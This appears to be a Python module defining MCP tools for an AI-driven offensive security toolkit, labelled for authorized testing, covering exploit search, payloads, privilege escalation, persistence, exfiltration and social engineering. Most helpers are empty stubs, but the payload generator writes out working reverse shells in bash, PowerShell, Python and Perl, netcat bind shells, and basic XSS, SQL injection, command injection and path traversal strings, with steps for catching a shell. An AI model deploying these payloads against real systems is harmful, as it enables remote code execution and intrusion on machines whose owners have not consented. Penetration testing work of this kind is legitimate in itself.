"""
Exploitation and post-exploitation tools (for authorized testing only).
"""
import asyncio
import base64
import json
from typing import Any, Dict, List, Optional
from urllib.parse import urlparse
import aiohttp
from mcp.types import Tool
from .base import BaseTools
from ..utils import run_command_async, get_timestamp
class ExploitationTools(BaseTools):
"""Exploitation tools for authorized penetration testing."""
def get_tools(self) -> List[Tool]:
"""Return list of exploitation tools."""
return [
Tool(
name="exploit_search",
description="Search for exploits and PoCs for vulnerabilities",
inputSchema={
"type": "object",
"properties": {
"vulnerability": {"type": "string", "description": "Vulnerability identifier (CVE, etc.)"},
"software": {"type": "string", "description": "Software name and version"},
"keywords": {"type": "array", "items": {"type": "string"}, "description": "Search keywords"}
}
}
),
Tool(
name="payload_generator",
description="Generate various payloads for testing",
inputSchema={
"type": "object",
"properties": {
"payload_type": {"type": "string", "enum": ["reverse_shell", "bind_shell", "xss", "sqli", "rce", "lfi"], "description": "Type of payload"},
"target_os": {"type": "string", "enum": ["linux", "windows", "generic"], "default": "linux"},
"lhost": {"type": "string", "description": "Local host for reverse shells"},
"lport": {"type": "integer", "description": "Local port for reverse shells"},
"encoding": {"type": "string", "enum": ["none", "base64", "url", "hex"], "default": "none"}
},
"required": ["payload_type"]
}
),
Tool(
name="privilege_escalation_check",
description="Check for privilege escalation vectors",
inputSchema={
"type": "object",
"properties": {
"target_os": {"type": "string", "enum": ["linux", "windows"], "description": "Target operating system"},
"current_user": {"type": "string", "description": "Current user context"},
"check_sudo": {"type": "boolean", "default": True},
"check_suid": {"type": "boolean", "default": True},
"check_services": {"type": "boolean", "default": True}
},
"required": ["target_os"]
}
),
Tool(
name="lateral_movement_scan",
description="Scan for lateral movement opportunities",
inputSchema={
"type": "object",
"properties": {
"network_range": {"type": "string", "description": "Network range to scan"},
"credentials": {"type": "object", "description": "Known credentials"},
"check_shares": {"type": "boolean", "default": True},
"check_services": {"type": "boolean", "default": True}
},
"required": ["network_range"]
}
),
Tool(
name="persistence_techniques",
description="Generate persistence mechanisms for authorized testing",
inputSchema={
"type": "object",
"properties": {
"target_os": {"type": "string", "enum": ["linux", "windows"], "description": "Target OS"},
"technique_type": {"type": "string", "enum": ["service", "cron", "registry", "startup"], "description": "Persistence technique"},
"payload": {"type": "string", "description": "Payload to persist"}
},
"required": ["target_os", "technique_type"]
}
),
Tool(
name="data_exfiltration_methods",
description="Generate data exfiltration methods for testing",
inputSchema={
"type": "object",
"properties": {
"method": {"type": "string", "enum": ["http", "dns", "icmp", "email", "ftp"], "description": "Exfiltration method"},
"target_file": {"type": "string", "description": "File to exfiltrate"},
"destination": {"type": "string", "description": "Destination for exfiltrated data"}
},
"required": ["method"]
}
),
Tool(
name="credential_dumping",
description="Generate credential dumping techniques",
inputSchema={
"type": "object",
"properties": {
"target_os": {"type": "string", "enum": ["linux", "windows"], "description": "Target OS"},
"dump_type": {"type": "string", "enum": ["memory", "registry", "files", "browser"], "description": "Type of credential dump"},
"target_process": {"type": "string", "description": "Target process for memory dumps"}
},
"required": ["target_os", "dump_type"]
}
),
Tool(
name="anti_forensics_techniques",
description="Generate anti-forensics techniques for testing",
inputSchema={
"type": "object",
"properties": {
"technique": {"type": "string", "enum": ["log_clearing", "timestomp", "secure_delete", "steganography"], "description": "Anti-forensics technique"},
"target_files": {"type": "array", "items": {"type": "string"}, "description": "Files to apply technique to"}
},
"required": ["technique"]
}
),
Tool(
name="evasion_techniques",
description="Generate evasion techniques for security testing",
inputSchema={
"type": "object",
"properties": {
"evasion_type": {"type": "string", "enum": ["av_evasion", "waf_bypass", "ids_evasion", "sandbox_evasion"], "description": "Type of evasion"},
"target_product": {"type": "string", "description": "Target security product"},
"payload": {"type": "string", "description": "Payload to evade detection"}
},
"required": ["evasion_type"]
}
),
Tool(
name="social_engineering_templates",
description="Generate social engineering templates for authorized testing",
inputSchema={
"type": "object",
"properties": {
"template_type": {"type": "string", "enum": ["phishing_email", "pretexting_call", "physical_access"], "description": "Template type"},
"target_company": {"type": "string", "description": "Target company"},
"urgency_level": {"type": "string", "enum": ["low", "medium", "high"], "default": "medium"}
},
"required": ["template_type"]
}
)
]
async def exploit_search(
self,
vulnerability: Optional[str] = None,
software: Optional[str] = None,
keywords: Optional[List[str]] = None
) -> str:
"""Search for exploits and PoCs."""
results = {
"search_criteria": {
"vulnerability": vulnerability,
"software": software,
"keywords": keywords
},
"timestamp": get_timestamp(),
"exploits_found": [],
"sources_searched": [],
"recommendations": []
}
# Search ExploitDB
exploitdb_results = await self._search_exploitdb(vulnerability, software, keywords)
results["exploits_found"].extend(exploitdb_results)
results["sources_searched"].append("ExploitDB")
# Search Metasploit modules
msf_results = await self._search_metasploit(vulnerability, software, keywords)
results["exploits_found"].extend(msf_results)
results["sources_searched"].append("Metasploit")
# Search GitHub for PoCs
github_results = await self._search_github_exploits(vulnerability, software, keywords)
results["exploits_found"].extend(github_results)
results["sources_searched"].append("GitHub")
# Search CVE databases
if vulnerability and vulnerability.startswith("CVE-"):
cve_results = await self._search_cve_database(vulnerability)
results["exploits_found"].extend(cve_results)
results["sources_searched"].append("CVE Database")
# Generate recommendations
recommendations = self._generate_exploit_recommendations(results["exploits_found"])
results["recommendations"] = recommendations
return self.format_result(results, "Exploit Search Results")
async def payload_generator(
self,
payload_type: str,
target_os: str = "linux",
lhost: Optional[str] = None,
lport: Optional[int] = None,
encoding: str = "none"
) -> str:
"""Generate various payloads for testing."""
results = {
"payload_type": payload_type,
"target_os": target_os,
"encoding": encoding,
"timestamp": get_timestamp(),
"payloads": [],
"usage_instructions": [],
"detection_evasion": []
}
# Generate base payload
base_payload = self._generate_base_payload(payload_type, target_os, lhost, lport)
if not base_payload:
return f"Unable to generate payload for type: {payload_type}"
# Apply encoding if specified
encoded_payload = self._apply_encoding(base_payload, encoding)
results["payloads"].append({
"name": f"{payload_type}_{target_os}",
"raw": base_payload,
"encoded": encoded_payload,
"encoding_type": encoding
})
# Generate variants
variants = self._generate_payload_variants(payload_type, target_os, base_payload)
results["payloads"].extend(variants)
# Generate usage instructions
instructions = self._generate_usage_instructions(payload_type, target_os)
results["usage_instructions"] = instructions
# Generate evasion techniques
evasion_tips = self._generate_evasion_techniques(payload_type)
results["detection_evasion"] = evasion_tips
return self.format_result(results, f"Payload Generator: {payload_type}")
async def privilege_escalation_check(
self,
target_os: str,
current_user: Optional[str] = None,
check_sudo: bool = True,
check_suid: bool = True,
check_services: bool = True
) -> str:
"""Check for privilege escalation vectors."""
results = {
"target_os": target_os,
"current_user": current_user,
"timestamp": get_timestamp(),
"privilege_escalation_vectors": [],
"automated_checks": [],
"manual_checks": [],
"recommendations": []
}
if target_os == "linux":
linux_vectors = await self._check_linux_privesc(check_sudo, check_suid, check_services)
results["privilege_escalation_vectors"].extend(linux_vectors)
elif target_os == "windows":
windows_vectors = await self._check_windows_privesc(check_services)
results["privilege_escalation_vectors"].extend(windows_vectors)
# Generate automated checking scripts
automated_checks = self._generate_automated_privesc_checks(target_os)
results["automated_checks"] = automated_checks
# Generate manual check list
manual_checks = self._generate_manual_privesc_checks(target_os)
results["manual_checks"] = manual_checks
# Generate recommendations
recommendations = self._generate_privesc_recommendations(results["privilege_escalation_vectors"])
results["recommendations"] = recommendations
return self.format_result(results, f"Privilege Escalation Check: {target_os}")
async def lateral_movement_scan(
self,
network_range: str,
credentials: Optional[Dict[str, Any]] = None,
check_shares: bool = True,
check_services: bool = True
) -> str:
"""Scan for lateral movement opportunities."""
if not self.check_target_allowed(network_range):
return f"Network range {network_range} is not allowed for scanning"
results = {
"network_range": network_range,
"timestamp": get_timestamp(),
"lateral_movement_vectors": [],
"accessible_hosts": [],
"shared_resources": [],
"vulnerable_services": [],
"recommendations": []
}
# Discover accessible hosts
accessible_hosts = await self._discover_accessible_hosts(network_range, credentials)
results["accessible_hosts"] = accessible_hosts
# Check for shared resources
if check_shares:
shared_resources = await self._check_shared_resources(accessible_hosts, credentials)
results["shared_resources"] = shared_resources
# Check for vulnerable services
if check_services:
vulnerable_services = await self._check_vulnerable_services(accessible_hosts)
results["vulnerable_services"] = vulnerable_services
# Generate lateral movement vectors
vectors = self._generate_lateral_movement_vectors(
accessible_hosts, shared_resources, vulnerable_services
)
results["lateral_movement_vectors"] = vectors
# Generate recommendations
recommendations = self._generate_lateral_movement_recommendations(vectors)
results["recommendations"] = recommendations
return self.format_result(results, f"Lateral Movement Scan: {network_range}")
async def persistence_techniques(
self,
target_os: str,
technique_type: str,
payload: Optional[str] = None
) -> str:
"""Generate persistence mechanisms."""
results = {
"target_os": target_os,
"technique_type": technique_type,
"timestamp": get_timestamp(),
"persistence_methods": [],
"implementation_steps": [],
"detection_methods": [],
"cleanup_procedures": []
}
# Generate persistence methods
if target_os == "linux":
methods = self._generate_linux_persistence(technique_type, payload)
elif target_os == "windows":
methods = self._generate_windows_persistence(technique_type, payload)
else:
return f"Unsupported OS: {target_os}"
results["persistence_methods"] = methods
# Generate implementation steps
implementation = self._generate_persistence_implementation(target_os, technique_type, methods)
results["implementation_steps"] = implementation
# Generate detection methods
detection = self._generate_persistence_detection(target_os, technique_type)
results["detection_methods"] = detection
# Generate cleanup procedures
cleanup = self._generate_persistence_cleanup(target_os, technique_type, methods)
results["cleanup_procedures"] = cleanup
return self.format_result(results, f"Persistence Techniques: {target_os} - {technique_type}")
async def data_exfiltration_methods(
self,
method: str,
target_file: Optional[str] = None,
destination: Optional[str] = None
) -> str:
"""Generate data exfiltration methods."""
results = {
"method": method,
"target_file": target_file,
"destination": destination,
"timestamp": get_timestamp(),
"exfiltration_techniques": [],
"steganography_methods": [],
"covert_channels": [],
"detection_evasion": []
}
# Generate exfiltration techniques
techniques = self._generate_exfiltration_techniques(method, target_file, destination)
results["exfiltration_techniques"] = techniques
# Generate steganography methods
if method in ["http", "email"]:
stego_methods = self._generate_steganography_methods(method)
results["steganography_methods"] = stego_methods
# Generate covert channels
covert_channels = self._generate_covert_channels(method)
results["covert_channels"] = covert_channels
# Generate detection evasion
evasion = self._generate_exfiltration_evasion(method)
results["detection_evasion"] = evasion
return self.format_result(results, f"Data Exfiltration Methods: {method}")
async def social_engineering_templates(
self,
template_type: str,
target_company: Optional[str] = None,
urgency_level: str = "medium"
) -> str:
"""Generate social engineering templates."""
results = {
"template_type": template_type,
"target_company": target_company,
"urgency_level": urgency_level,
"timestamp": get_timestamp(),
"templates": [],
"psychological_triggers": [],
"success_factors": [],
"defense_methods": []
}
# Generate templates
templates = self._generate_se_templates(template_type, target_company, urgency_level)
results["templates"] = templates
# Generate psychological triggers
triggers = self._generate_psychological_triggers(template_type, urgency_level)
results["psychological_triggers"] = triggers
# Generate success factors
success_factors = self._generate_se_success_factors(template_type)
results["success_factors"] = success_factors
# Generate defense methods
defenses = self._generate_se_defenses(template_type)
results["defense_methods"] = defenses
return self.format_result(results, f"Social Engineering Templates: {template_type}")
# Helper methods
async def _search_exploitdb(self, vulnerability: Optional[str], software: Optional[str], keywords: Optional[List[str]]) -> List[Dict[str, Any]]:
"""Search ExploitDB."""
exploits = []
# This would implement actual ExploitDB API search
# For now, return simulated results
if vulnerability:
exploits.append({
"source": "ExploitDB",
"title": f"Exploit for {vulnerability}",
"url": f"https://exploit-db.com/search?cve={vulnerability}",
"type": "proof_of_concept",
"reliability": "excellent"
})
return exploits
async def _search_metasploit(self, vulnerability: Optional[str], software: Optional[str], keywords: Optional[List[str]]) -> List[Dict[str, Any]]:
"""Search Metasploit modules."""
modules = []
# This would implement actual Metasploit module search
if software:
modules.append({
"source": "Metasploit",
"title": f"MSF module for {software}",
"module_path": f"exploit/multi/misc/{software.lower()}_exploit",
"type": "exploit_module",
"reliability": "excellent"
})
return modules
async def _search_github_exploits(self, vulnerability: Optional[str], software: Optional[str], keywords: Optional[List[str]]) -> List[Dict[str, Any]]:
"""Search GitHub for exploits."""
return []
async def _search_cve_database(self, vulnerability: str) -> List[Dict[str, Any]]:
"""Search CVE database."""
return []
def _generate_exploit_recommendations(self, exploits: List[Dict[str, Any]]) -> List[str]:
"""Generate exploit recommendations."""
return [
"Test exploits in isolated environment first",
"Verify target version matches exploit requirements",
"Have backup exploitation methods ready"
]
def _generate_base_payload(self, payload_type: str, target_os: str, lhost: Optional[str], lport: Optional[int]) -> Optional[str]:
"""Generate base payload."""
payloads = {
"reverse_shell": {
"linux": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1" if lhost and lport else "bash -i >& /dev/tcp/LHOST/LPORT 0>&1",
"windows": f"powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});$s = $client.GetStream();[byte[]]$b = 0..65535|%{{0}};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$s.Write($sendbyte,0,$sendbyte.Length);$s.Flush()}};$client.Close()\"" if lhost and lport else "powershell reverse shell"
},
"bind_shell": {
"linux": f"nc -lvp {lport} -e /bin/bash" if lport else "nc -lvp PORT -e /bin/bash",
"windows": f"nc -lvp {lport} -e cmd.exe" if lport else "nc -lvp PORT -e cmd.exe"
},
"xss": {
"generic": "<script>alert('XSS')</script>"
},
"sqli": {
"generic": "' OR '1'='1"
},
"rce": {
"linux": "; whoami",
"windows": "& whoami"
},
"lfi": {
"generic": "../../../etc/passwd"
}
}
return payloads.get(payload_type, {}).get(target_os) or payloads.get(payload_type, {}).get("generic")
def _apply_encoding(self, payload: str, encoding: str) -> str:
"""Apply encoding to payload."""
if encoding == "base64":
return base64.b64encode(payload.encode()).decode()
elif encoding == "url":
from urllib.parse import quote
return quote(payload)
elif encoding == "hex":
return payload.encode().hex()
else:
return payload
def _generate_payload_variants(self, payload_type: str, target_os: str, base_payload: str) -> List[Dict[str, Any]]:
"""Generate payload variants."""
variants = []
if payload_type == "reverse_shell" and target_os == "linux":
variants.extend([
{
"name": "python_reverse_shell",
"raw": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"LHOST\",LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
"encoded": "",
"encoding_type": "none"
},
{
"name": "perl_reverse_shell",
"raw": "perl -e 'use Socket;$i=\"LHOST\";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'",
"encoded": "",
"encoding_type": "none"
}
])
return variants
def _generate_usage_instructions(self, payload_type: str, target_os: str) -> List[str]:
"""Generate usage instructions."""
instructions = []
if payload_type == "reverse_shell":
instructions.extend([
"1. Set up listener: nc -lvp PORT",
"2. Replace LHOST with your IP address",
"3. Replace LPORT with your listener port",
"4. Execute payload on target system",
"5. Check listener for incoming connection"
])
return instructions
def _generate_evasion_techniques(self, payload_type: str) -> List[str]:
"""Generate evasion techniques."""
return [
"Use encoding to obfuscate payload",
"Break payload into multiple parts",
"Use legitimate tools for execution",
"Implement time delays"
]
async def _check_linux_privesc(self, check_sudo: bool, check_suid: bool, check_services: bool) -> List[Dict[str, Any]]:
"""Check Linux privilege escalation vectors."""
vectors = []
if check_sudo:
vectors.append({
"type": "sudo_misconfiguration",
"description": "Check sudo permissions",
"command": "sudo -l",
"risk": "high"
})
if check_suid:
vectors.append({
"type": "suid_binaries",
"description": "Find SUID binaries",
"command": "find / -perm -u=s -type f 2>/dev/null",
"risk": "medium"
})
if check_services:
vectors.append({
"type": "running_services",
"description": "Check running services",
"command": "ps aux | grep root",
"risk": "medium"
})
return vectors
async def _check_windows_privesc(self, check_services: bool) -> List[Dict[str, Any]]:
"""Check Windows privilege escalation vectors."""
vectors = []
vectors.append({
"type": "unquoted_service_paths",
"description": "Check for unquoted service paths",
"command": "wmic service get name,displayname,pathname,startmode | findstr /i \"auto\" | findstr /i /v \"c:\\windows\\\\\" | findstr /i /v \"\"\"",
"risk": "high"
})
vectors.append({
"type": "weak_service_permissions",
"description": "Check service permissions",
"command": "accesschk.exe -ucqv *",
"risk": "high"
})
return vectors
def _generate_automated_privesc_checks(self, target_os: str) -> List[Dict[str, Any]]:
"""Generate automated privilege escalation checks."""
if target_os == "linux":
return [
{
"tool": "LinEnum",
"description": "Linux enumeration script",
"url": "https://github.com/rebootuser/LinEnum"
},
{
"tool": "linpeas",
"description": "Linux Privilege Escalation Awesome Script",
"url": "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS"
}
]
elif target_os == "windows":
return [
{
"tool": "winPEAS",
"description": "Windows Privilege Escalation Awesome Script",
"url": "https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS"
},
{
"tool": "PowerUp",
"description": "Windows privilege escalation checks",
"url": "https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc"
}
]
return []
def _generate_manual_privesc_checks(self, target_os: str) -> List[str]:
"""Generate manual privilege escalation checks."""
if target_os == "linux":
return [
"Check /etc/passwd for unusual entries",
"Look for world-writable files",
"Check cron jobs and scheduled tasks",
"Examine running processes",
"Check network connections",
"Look for interesting files in /tmp",
"Check kernel version for exploits"
]
elif target_os == "windows":
return [
"Check user privileges",
"Look for unpatched software",
"Check registry permissions",
"Examine scheduled tasks",
"Look for stored credentials",
"Check service configurations",
"Look for DLL hijacking opportunities"
]
return []
def _generate_privesc_recommendations(self, vectors: List[Dict[str, Any]]) -> List[str]:
"""Generate privilege escalation recommendations."""
return [
"Always test in isolated environment first",
"Document all steps for reporting",
"Have rollback plan ready",
"Check for detection mechanisms"
]
# Additional helper methods would continue here...
# Due to length constraints, providing core structure
async def _discover_accessible_hosts(self, network_range: str, credentials: Optional[Dict[str, Any]]) -> List[str]:
"""Discover accessible hosts in network range."""
return []
async def _check_shared_resources(self, hosts: List[str], credentials: Optional[Dict[str, Any]]) -> List[Dict[str, Any]]:
"""Check for shared network resources."""
return []
async def _check_vulnerable_services(self, hosts: List[str]) -> List[Dict[str, Any]]:
"""Check for vulnerable services."""
return []
def _generate_lateral_movement_vectors(self, hosts: List[str], shares: List[Dict[str, Any]], services: List[Dict[str, Any]]) -> List[Dict[str, Any]]:
"""Generate lateral movement vectors."""
return []
def _generate_lateral_movement_recommendations(self, vectors: List[Dict[str, Any]]) -> List[str]:
"""Generate lateral movement recommendations."""
return []
def _generate_linux_persistence(self, technique_type: str, payload: Optional[str]) -> List[Dict[str, Any]]:
"""Generate Linux persistence methods."""
return []
def _generate_windows_persistence(self, technique_type: str, payload: Optional[str]) -> List[Dict[str, Any]]:
"""Generate Windows persistence methods."""
return []
def _generate_persistence_implementation(self, target_os: str, technique_type: str, methods: List[Dict[str, Any]]) -> List[str]:
"""Generate persistence implementation steps."""
return []
def _generate_persistence_detection(self, target_os: str, technique_type: str) -> List[str]:
"""Generate persistence detection methods."""
return []
def _generate_persistence_cleanup(self, target_os: str, technique_type: str, methods: List[Dict[str, Any]]) -> List[str]:
"""Generate persistence cleanup procedures."""
return []
def _generate_exfiltration_techniques(self, method: str, target_file: Optional[str], destination: Optional[str]) -> List[Dict[str, Any]]:
"""Generate data exfiltration techniques."""
return []
def _generate_steganography_methods(self, method: str) -> List[Dict[str, Any]]:
"""Generate steganography methods."""
return []
def _generate_covert_channels(self, method: str) -> List[Dict[str, Any]]:
"""Generate covert channel methods."""
return []
def _generate_exfiltration_evasion(self, method: str) -> List[str]:
"""Generate exfiltration evasion techniques."""
return []
def _generate_se_templates(self, template_type: str, target_company: Optional[str], urgency_level: str) -> List[Dict[str, Any]]:
"""Generate social engineering templates."""
return []
def _generate_psychological_triggers(self, template_type: str, urgency_level: str) -> List[str]:
"""Generate psychological triggers."""
return []
def _generate_se_success_factors(self, template_type: str) -> List[str]:
"""Generate social engineering success factors."""
return []
def _generate_se_defenses(self, template_type: str) -> List[str]:
"""Generate social engineering defenses."""
return []
